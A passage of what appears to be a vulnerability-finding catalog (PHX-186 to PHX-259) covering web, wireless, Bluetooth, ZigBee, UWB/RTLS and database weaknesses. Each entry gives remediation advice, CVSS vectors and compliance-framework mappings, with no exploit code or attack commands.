Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078 (Defense Evasion), T1556 (Credential Access)
NIST 800-53: IA-5, SC-8, AC-17
PCI DSS 4: 8.3.6, 4.2.1
HIGH PHX-186 — WS-Addressing SSRF via ReplyTo/FaultTo
Remediation: Validate and restrict WS-Addressing ReplyTo and FaultTo header values to an allowlist of trusted internal endpoints. Do not route SOAP replies to attacker-supplied URLs. Disable WS-Addressing support entirely if the application does not require it. Apply egress filtering to prevent the SOAP service from making outbound requests to arbitrary hosts.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
OWASP Web: A10:2021 – Server-Side Request Forgery
OWASP API: API7:2023 – Server Side Request Forgery
MITRE ATT&CK: T1090 (Command and Control)
NIST 800-53: SI-10, CA-9, SC-7
PCI DSS 4: 6.2.4
HIGH PHX-187 — Serialization Marker in API Response (Deserialization Risk)
Remediation: Do not deserialize data from third-party API responses without type validation. Avoid consuming Java serialized objects or pickle streams from external sources. If serialized data must be processed, implement integrity checks, use allowlist-based deserializers, and run deserialization in sandboxed environments with restricted class loading.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A08:2021 – Software and Data Integrity Failures
OWASP API: API10:2023 – Unsafe Consumption of APIs
MITRE ATT&CK: T1059 (Execution)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4
HIGH PHX-188 — Unsafe Webhook URL Consumption (SSRF)
Remediation: Validate webhook callback URLs against an allowlist of permitted domains before accepting. Block private, loopback, link-local, and cloud metadata IP ranges (169.254.169.254, 10.0.0.0/8, etc.) at the application layer. Enforce egress firewall rules on servers that process webhook registrations. Require HTTPS and verify TLS certificates for all outbound webhook deliveries.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
OWASP Web: A10:2021 – Server-Side Request Forgery
OWASP API: API7:2023 – Server Side Request Forgery
MITRE ATT&CK: T1090.002 (Command and Control)
NIST 800-53: SI-10, SC-7, CA-9
PCI DSS 4: 6.2.4
HIGH PHX-189 — Deprecated Protocol — Cleartext Service in Use
Remediation: Replace all cleartext protocols (HTTP, FTP, Telnet, SMTP without STARTTLS) with their encrypted equivalents (HTTPS, SFTP/FTPS, SSH, SMTPS). Enforce HTTPS with HSTS. Capture and remediate any credentials transmitted over unencrypted channels. Apply egress filtering to block cleartext service connections from internal hosts.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-7
PCI DSS 4: 4.2.1, 4.2.2
LOW PHX-190 — Service/Application Version Disclosure — Reconnaissance
Remediation: Remove or genericise Server, X-Powered-By, Via, and X-AspNet-Version HTTP response headers. Configure web servers and application frameworks to suppress version strings from banners and error messages. Keep all disclosed components up to date to minimise the value of version information to an attacker.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
INFO PHX-191 — Recon: Web Application or API Identified
Remediation: Informational finding — no immediate remediation required. Use this discovery to ensure the identified application is included in the asset inventory, kept patched, and covered by periodic security assessments. Replace default web server pages with custom content and remove default applications that are not in use.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
MITRE ATT&CK: T1590 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
LOW PHX-192 — Robots.txt Sensitive Path Disclosure
Remediation: Review robots.txt for entries referencing admin panels, internal APIs, backup directories, or other sensitive paths. Remove or genericise disallow entries that reveal security-relevant path structures. Rely on server-side access controls rather than robots.txt to protect sensitive paths — robots.txt provides no access restriction.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
INFO PHX-193 — Hostname / DNS Reverse Lookup Information
Remediation: Informational finding — no immediate remediation required. Ensure discovered hostnames and subdomains are included in the asset inventory and covered by patch management and security scanning. Decommission or remove DNS records for unused or orphaned subdomains to prevent subdomain takeover.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
MITRE ATT&CK: T1590.001 (Reconnaissance)
NIST 800-53: CM-8, RA-2
PCI DSS 4: 12.5.1
CRITICAL PHX-216 — WPA/WPA2 Pre-Shared Key Capture and Offline Cracking
Remediation: Replace PSK with a strong random passphrase of 20+ characters not found in wordlists. Enforce WPA3-SAE where hardware supports it. Rotate the PSK immediately after discovery. Consider WPA3-Enterprise with certificate-based authentication.
Effort: Low
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1110.002 (Credential Access), T1040 (Credential Access)
NIST 800-53: SC-8, IA-5, SC-40, AC-17
PCI DSS 4: 4.2.1, 8.3.6
CRITICAL PHX-217 — WPA-Enterprise (EAP/MSCHAPv2) Credentials Captured
Remediation: Deploy client-side certificate validation against a pinned RADIUS CA certificate. Replace PEAP/MSCHAPv2 with EAP-TLS using mutual certificate authentication. Disable weaker EAP methods. Immediately rotate all credentials captured or potentially exposed.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1557 (Credential Access), T1040 (Credential Access), T1110.002 (Credential Access)
NIST 800-53: SC-8, IA-5, IA-3, SC-40
PCI DSS 4: 4.2.1, 8.3.1, 8.6.1
HIGH PHX-218 — WPA3 SAE Dragonblood Vulnerability
Remediation: Apply AP firmware updates addressing CVE-2019-9494 through CVE-2019-9502. Ensure the WPA3 SAE implementation performs strict elliptic-curve point validation and anti-clogging token support. Upgrade to hostapd/wpa_supplicant 2.10+.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-40, SI-2, RA-5
PCI DSS 4: 4.2.1, 6.3.3
HIGH PHX-219 — KRACK — WPA2 Key Reinstallation Attack
Remediation: Apply OS and driver security patches addressing CVE-2017-13077 through CVE-2017-13080 on all wireless clients and APs. Upgrade to wpa_supplicant/hostapd 2.7+. Prioritise patching Android 6.0 devices which reinstall an all-zero key.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1040 (Credential Access), T1557 (Credential Access)
NIST 800-53: SC-8, SI-2, SC-40, RA-5
PCI DSS 4: 4.2.1, 6.3.3
CRITICAL PHX-220 — WEP Encryption — Broken Protocol in Use
Remediation: Immediately replace WEP with WPA3-Personal or at minimum WPA2-Personal (AES/CCMP). WEP cannot be patched — upgrade or replace the AP. Segment legacy WEP-only devices onto an isolated VLAN with no access to sensitive resources until replaced. Rotate all credentials used on this network.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-40, CM-6, RA-5
PCI DSS 4: 4.2.1, 6.3.3, 12.3.3
CRITICAL PHX-221 — Open Wireless Network — No Encryption
Remediation: Enable WPA3-Personal or WPA2-Personal (AES/CCMP). For intentionally open networks (guest/public), enforce TLS for all services, enable AP client isolation, and display a legal notice. Consider 802.11u Hotspot 2.0 / Passpoint for authenticated open networks.
Effort: Low
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-40, PE-3, AC-17
PCI DSS 4: 4.2.1, 12.3.3
HIGH PHX-222 — WPS Enabled — PIN/Brute-Force Attack Surface
Remediation: Disable WPS on all access points where not operationally required. If WPS must remain enabled, ensure WPS 2.0 with lockout after 3 failed attempts is implemented and apply all vendor firmware patches addressing the Pixie-Dust vulnerability.
Effort: Low
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1110 (Credential Access)
NIST 800-53: SC-8, SC-40, CM-6, IA-5
PCI DSS 4: 4.2.1, 6.3.3
HIGH PHX-223 — WPA3 Transition Mode — Downgrade to WPA2
Remediation: Migrate to WPA3-only mode when all clients support WPA3-SAE. In the interim, enforce 802.11w (PMF) as mandatory to prevent deauthentication-based downgrade attacks. Consider a separate SSID for legacy WPA2 clients.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
MITRE ATT&CK: T1040 (Credential Access), T1557 (Credential Access)
NIST 800-53: SC-8, SC-40, CM-6
PCI DSS 4: 4.2.1, 12.3.3
HIGH PHX-224 — KNOB Attack — Bluetooth Encryption Key Entropy Reduction
Remediation: Apply vendor firmware patches enforcing a minimum Bluetooth encryption key entropy of 7 bytes (preferably 16). Prefer BLE with LE Secure Connections (LESC) which is not affected. Disable BR/EDR on devices where only BLE is operationally required.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-40, SI-2, SC-25
PCI DSS 4: 4.2.1, 6.3.3
HIGH PHX-225 — BIAS Attack — Bluetooth Impersonation via Authentication Bypass
Remediation: Apply manufacturer firmware updates addressing CVE-2020-10135. Require Secure Simple Pairing (SSP) with Secure Connections for all BR/EDR sessions and enforce mutual authentication. Disable legacy authentication fallback where supported.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-8, IA-3, SC-40, SI-2
PCI DSS 4: 4.2.1, 8.6.1, 6.3.3
HIGH PHX-226 — BLUFFS — Bluetooth Forward Secrecy Attack
Remediation: Apply vendor patches implementing session-key diversification and forward-secret key derivation per Bluetooth SIG guidance on CVE-2023-24023. Use application-layer protocols with independent forward secrecy (e.g., TLS 1.3 over Bluetooth RFCOMM) for sensitive communications.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-40, SI-2, SC-25
PCI DSS 4: 4.2.1, 6.3.3
HIGH PHX-227 — Bluetooth Low Energy Weak Pairing — Crackable Temporary Key
Remediation: Migrate all BLE devices to LE Secure Connections (LESC/SMP v2) which uses ECDH key exchange and is not vulnerable to passive TK recovery. If legacy pairing cannot be avoided, use Passkey Entry with out-of-band delivery and avoid hardcoded or predictable PINs.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1110.002 (Credential Access)
NIST 800-53: SC-8, IA-5, SC-40
PCI DSS 4: 4.2.1, 8.3.6
HIGH PHX-228 — BLE GATT Service — Unauthenticated Read/Write Access
Remediation: Apply ATT permissions requiring authenticated encrypted connections (BLE security mode 1, level 3+) for all GATT characteristics carrying sensitive data or accepting writes. Implement application-layer command authentication (HMAC or signed payloads) as defence-in-depth.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1602 (Collection)
NIST 800-53: AC-3, IA-3, SC-40
PCI DSS 4: 8.6.1, 6.2.4
CRITICAL PHX-229 — Bluetooth Stack CVE — Remote Code Execution
Remediation: Immediately apply all available Bluetooth stack firmware updates. Disable Bluetooth discoverable/connectable modes when not in active use. Isolate unpatched devices from untrusted Bluetooth environments. Deploy Bluetooth IDS to detect known exploit signatures.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1210 (Lateral Movement)
NIST 800-53: SI-2, RA-5, SC-40, IR-4
PCI DSS 4: 6.3.3, 12.10.1
CISA KEV
MEDIUM PHX-230 — Bluetooth SDP Service Discovery — Internal Service Disclosure
Remediation: Restrict SDP browse responses to authenticated connections. Remove or obfuscate unnecessary service attributes from SDP records. Disable profiles and services not operationally required to reduce discoverable attack surface.
Effort: Low
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: CM-7, RA-5, SC-40
PCI DSS 4: 6.2.4
HIGH PHX-231 — Bluetooth BR/EDR Cleartext Traffic — Passive Eavesdropping
Remediation: Ensure all BR/EDR sessions use encryption with maximum entropy key negotiation (16 bytes). Apply the KNOB patch. Use application-layer encryption (TLS/DTLS) over RFCOMM for sensitive data streams. Upgrade to BLE with LE Secure Connections where use case allows.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-40, SC-25
PCI DSS 4: 4.2.1
MEDIUM PHX-232 — BLE Static MAC Address — Device Tracking and Weak Pairing
Remediation: Enable Bluetooth resolvable private address (RPA) rotation with an appropriate interval (15 minutes or shorter). Replace Just Works pairing with Numeric Comparison, OOB, or Passkey Entry. Require LE Secure Connections to resist MITM during pairing.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-25, IA-3, SC-40
PCI DSS 4: 4.2.1
HIGH PHX-233 — BLE MITM Attack via Device Cloning (GATTacker)
Remediation: Enforce authenticated pairing (Numeric Comparison or OOB). Implement application-layer certificate pinning or GATT profile fingerprint validation. Use LE Secure Connections to resist MITM during pairing. Ensure central apps validate full GATT profile against an expected fingerprint.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-8, IA-3, SC-40
PCI DSS 4: 4.2.1, 8.6.1
HIGH PHX-234 — Bluetooth Denial-of-Service and Physical Firmware Extraction
Remediation: Apply Bluetooth stack firmware updates with rate-limiting and malformed-frame rejection. Enable all JTAG/SWD debug port protection (fuse blow, APProtect, RDP level 2). Store cryptographic secrets in secure elements inaccessible from the main MCU. Remove or decap debug headers from production hardware.
Effort: High
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1499 (Impact), T1592 (Reconnaissance)
NIST 800-53: PE-3, PE-6, SC-25, SI-2, IR-4
PCI DSS 4: 9.2.1, 12.10.1
CRITICAL PHX-235 — ZigBee Network Key Exposure — Intercept, Default, or Plaintext
Remediation: Rotate the network key immediately. Configure a unique TCLK per installation. Disable join window after commissioning. Encrypt stored keys using OS-level secret stores. Migrate to ZigBee 3.0 with install-code-based commissioning.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1040 (Credential Access), T1552.001 (Credential Access)
NIST 800-53: SC-8, SC-25, IA-5, CM-6
PCI DSS 4: 4.2.1, 8.3.6
HIGH PHX-236 — ZigBee Replay Attack
Remediation: Enforce strict ZigBee frame counter validation per specification. Devices must reject frames with counters outside the accepted replay protection window. Apply vendor firmware patches that implement per-device frame counter tracking.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
MITRE ATT&CK: T1550 (Lateral Movement)
NIST 800-53: SC-8, SC-25, CM-6
PCI DSS 4: 4.2.1, 6.2.4
HIGH PHX-237 — ZigBee Cluster Library (ZCL) Command Injection
Remediation: Rotate network key immediately. Implement application-layer authentication for security-critical clusters (Door Lock, IAS Zone, Thermostat). Enforce allow-listed device EUI64s for security-critical command sources at the coordinator level.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1059 (Execution), T1565.001 (Impact)
NIST 800-53: SC-8, SC-25, AC-3, CM-6
PCI DSS 4: 4.2.1, 6.2.4
HIGH PHX-238 — ZigBee Light Link (ZLL) Touchlink Attack — Device Theft and Factory Reset
Remediation: Disable touchlink commissioning on production devices via coordinator policy. Deploy ZigBee 3.0 with enhanced touchlink security (install-code-based commissioning). Replace ZLL-only devices with ZigBee 3.0 devices. Apply vendor firmware updates restricting touchlink resets to same-network devices.
Effort: High
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MITRE ATT&CK: T1498 (Impact), T1565 (Impact)
NIST 800-53: PE-3, SC-25, CM-6
PCI DSS 4: 9.2.1, 6.3.3
HIGH PHX-239 — ZigBee Network Denial-of-Service
Remediation: Implement RF environment monitoring with anomaly alerting. Deploy ZigBee network with channel agility enabled. Configure coordinator with rate-limiting on association requests. Consider Distributed Trust Center mode to reduce coordinator as a single point of failure.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
MITRE ATT&CK: T1498 (Impact)
NIST 800-53: SC-25, SC-5, IR-4
PCI DSS 4: 12.10.1
CRITICAL PHX-240 — ZigBee Hardcoded Credentials or Key in Firmware
Remediation: Remove hardcoded keys from firmware. Use unique-per-device key provisioning via secure manufacturing. Enable debug port lockdown (JTAG fuse blow). Store cryptographic keys in dedicated hardware security elements or encrypted key stores protected by device-unique keys.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1552.001 (Credential Access), T1592 (Reconnaissance)
NIST 800-53: IA-5, SC-25, PE-3, CM-6
PCI DSS 4: 8.3.6, 6.2.4
HIGH PHX-241 — ZigBee Open Join Window and ZDO Enumeration
Remediation: Close join window after commissioning and only open briefly (max 60 seconds) when adding new devices. Implement automated join window closure. Restrict ZDO enumeration to authenticated sessions. Audit all joined devices to verify they are authorised.
Effort: Low
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1046 (Discovery)
NIST 800-53: AC-3, SC-25, CM-6, IA-3
PCI DSS 4: 6.2.4, 8.6.1
CRITICAL PHX-242 — ZigBee OTA Firmware Update Without Authentication
Remediation: Implement signed OTA firmware updates with public-key verification per the ZigBee OTA Upgrade cluster specification. The device must verify the firmware image signature against a vendor public key embedded in ROM before applying any update. Reject unsigned or incorrectly signed images.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
OWASP Web: A08:2021 – Software and Data Integrity Failures
MITRE ATT&CK: T1195.002 (Initial Access)
NIST 800-53: SI-7, CM-6, SA-10, SC-25
PCI DSS 4: 6.3.3, 6.2.4
HIGH PHX-243 — ZigBee Protocol Fuzzing Crash and ZLL Master Key Deployment
Remediation: Apply vendor firmware patches with input validation for all received ZigBee frame fields. Implement watchdog timers with automatic recovery. Migrate from ZLL to ZigBee 3.0. Disable touchlink commissioning at coordinator level where ZLL master key exposure is confirmed.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MITRE ATT&CK: T1499 (Impact), T1040 (Credential Access)
NIST 800-53: SC-25, SI-2, CM-6, IR-4
PCI DSS 4: 6.3.3, 12.10.1
CRITICAL PHX-244 — Ghost Peak Attack — UWB Distance Reduction Exploit
Remediation: Apply firmware patches enabling STS (Scrambled Timestamp Sequence) integrity checking in IEEE 802.15.4z SP3 mode. Enforce STS on all ranging sessions and reject legacy SP0 sessions. Supplement with additional physical access controls (NFC tap, PIN) for high-security scenarios.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1583 (Resource Development), T1565 (Impact)
NIST 800-53: PE-3, PE-6, SC-25, IA-3
PCI DSS 4: 9.2.1
CRITICAL PHX-245 — RTLS Management Console — Default Credentials
Remediation: Immediately change all default credentials to unique randomly generated passwords of 16+ characters. Implement account lockout after 5 failed attempts, enforce MFA. Restrict management console to a dedicated administrative VLAN with firewall ACLs limiting access to specific workstations.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078 (Initial Access), T1110.001 (Credential Access)
NIST 800-53: IA-5, AC-2, CM-6
PCI DSS 4: 8.3.6, 8.4.2
CRITICAL PHX-246 — MQTT Broker — Unauthenticated Access and Cleartext Credentials
Remediation: Enable MQTT broker authentication requiring username/password for all clients and disable anonymous access. Migrate all MQTT traffic to TLS-encrypted port 8883. Implement MQTT ACL rules restricting clients to required topics only. Rotate all credentials previously transmitted in cleartext.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1040 (Credential Access), T1078 (Initial Access)
NIST 800-53: AC-3, SC-8, IA-3, CM-6
PCI DSS 4: 4.2.1, 8.3.1, 8.6.1
HIGH PHX-247 — RTLS Position Data Injection via MQTT
Remediation: Require MQTT broker authentication and deploy publisher-side ACLs restricting position-topic publishing to anchor gateways only. Implement message signature validation (HMAC with anchor-specific keys) on the RTLS engine to reject unsigned or invalid position payloads.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T0831 (Impair Process Control), T1565.001 (Impact)
NIST 800-53: AC-3, SI-10, SC-8, CM-6
PCI DSS 4: 6.2.4, 8.6.1
CRITICAL PHX-248 — SQL Injection in RTLS Reporting Module
Remediation: Replace all dynamic SQL string construction with parameterised queries or prepared statements. Apply least-privilege to the RTLS database account (no FILE or SUPER privileges). Conduct a full code review of all user-facing query parameters and implement input validation. Deploy a WAF with SQLi detection rules.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL PHX-249 — RTLS REST API — Unauthenticated Access
Remediation: Implement authentication middleware enforcing a valid API token or session token on all REST API routes; return HTTP 401 for unauthenticated requests. Apply RBAC so read-only tokens cannot invoke configuration-modifying endpoints. Audit the full API surface against the intended access control matrix.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1046 (Discovery)
NIST 800-53: AC-3, IA-3, CM-6
PCI DSS 4: 8.3.1, 8.6.1, 6.2.4
HIGH PHX-250 — UWB Scrambled Timestamp Sequence (STS) Key Weakness
Remediation: Ensure STS keys are derived from a cryptographically random 128-bit seed generated inside a hardware secure element and never exposed via any management API. Rotate STS session keys per-ranging-session using HKDF-SHA256 with a fresh nonce. Apply chip vendor firmware updates implementing IEEE 802.15.4z STS key management in the secure enclave.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1040 (Credential Access), T1565 (Impact)
NIST 800-53: SC-8, SC-25, IA-3, CM-6
PCI DSS 4: 4.2.1, 6.3.3
HIGH PHX-251 — UWB Ranging Exchange — Cleartext Transmission
Remediation: Configure all UWB devices to operate in IEEE 802.15.4z SP3 mode with STS enabled. Where SP3 is unavailable on legacy hardware, enable application-layer payload encryption and minimise identifying information in ranging frame payloads. Segment UWB traffic to minimum required RF coverage area.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-25, SC-40
PCI DSS 4: 4.2.1
CRITICAL PHX-252 — RTLS Anchor Firmware Update — Missing Signature Verification
Remediation: Implement mandatory cryptographic signature verification on all firmware images prior to installation using a key stored in anchor hardware (OTP fuse or secure element). Require HTTPS and strong API authentication for all firmware update endpoints. Implement a firmware version manifest with expected hash values.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
OWASP Web: A08:2021 – Software and Data Integrity Failures
MITRE ATT&CK: T1195.002 (Initial Access)
NIST 800-53: SI-7, CM-6, SA-10, SC-25
PCI DSS 4: 6.3.3, 6.2.4
HIGH PHX-253 — RTLS Zone Boundary Bypass — Physical Access Control Defeat
Remediation: Implement multi-anchor consistency checks flagging ranging results that do not geometrically converge within an expected error bound. Augment UWB zone enforcement with complementary controls (badge readers, PIN pads, video verification). Enable STS mode on all anchors to mitigate the Ghost Peak attack vector.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N
MITRE ATT&CK: T1565 (Impact)
NIST 800-53: PE-3, AC-3, SC-25
PCI DSS 4: 9.2.1
HIGH PHX-254 — UWB Anchor RF Flooding — Denial of Service
Remediation: Deploy UWB hardware supporting channel agility to automatically switch to alternative UWB channels when interference is detected. Implement RTLS application-level monitoring alerting when anchor-to-tag ranging failure rates exceed a threshold. Define operational procedures for switching to backup positioning methods.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
MITRE ATT&CK: T1498 (Impact)
NIST 800-53: SC-25, SC-5, IR-4, PE-3
PCI DSS 4: 12.10.1
MEDIUM PHX-255 — Cross-Site Scripting in RTLS Management Dashboard
Remediation: Apply strict HTML output encoding (context-aware escaping) to all dynamic values rendered in the dashboard including tag labels, zone names, and custom metadata fields. Implement a Content Security Policy (CSP) header disallowing inline scripts. Sanitise all API-sourced string fields before storage.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1189 (Initial Access), T1059.007 (Execution)
NIST 800-53: SI-10, SC-18, CM-6
PCI DSS 4: 6.2.4
HIGH PHX-256 — Insecure Direct Object Reference in RTLS API
Remediation: Implement server-side authorisation checks on every API endpoint validating that the authenticated user has the required role or ownership to access the requested object. Use cryptographically random UUIDs instead of sequential integers for resource identifiers. Conduct a full audit of RTLS API routes against the intended access control matrix.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1083 (Discovery)
NIST 800-53: AC-3, AC-6, RA-5
PCI DSS 4: 6.2.4, 8.6.1
CRITICAL PHX-257 — Physical UWB Frame Injection — Ranging Manipulation
Remediation: Enable IEEE 802.15.4z STS (SP3 mode) on all anchors and tags to cryptographically authenticate ranging frame timestamps. Implement anchor-to-anchor cross-validation flagging unexpected ranging responses from unknown sources. Deploy RF anomaly detection for inconsistent transmission parameters. Physically secure anchor hardware against tampering.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N
MITRE ATT&CK: T1565 (Impact), T1583 (Resource Development)
NIST 800-53: PE-3, SC-25, IA-3, SI-7
PCI DSS 4: 9.2.1, 4.2.1
CRITICAL PHX-258 — Database Default Credentials
Remediation: Change all default database credentials immediately. Enforce strong password policy (minimum 16 chars, complexity). Disable guest accounts. Implement account lockout after 5 failed attempts.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078.001 (Initial Access)
NIST 800-53: IA-5, AC-17, CM-6
PCI DSS 4: 8.3.6, 2.2.1
CRITICAL PHX-259 — MongoDB Unauthenticated Access
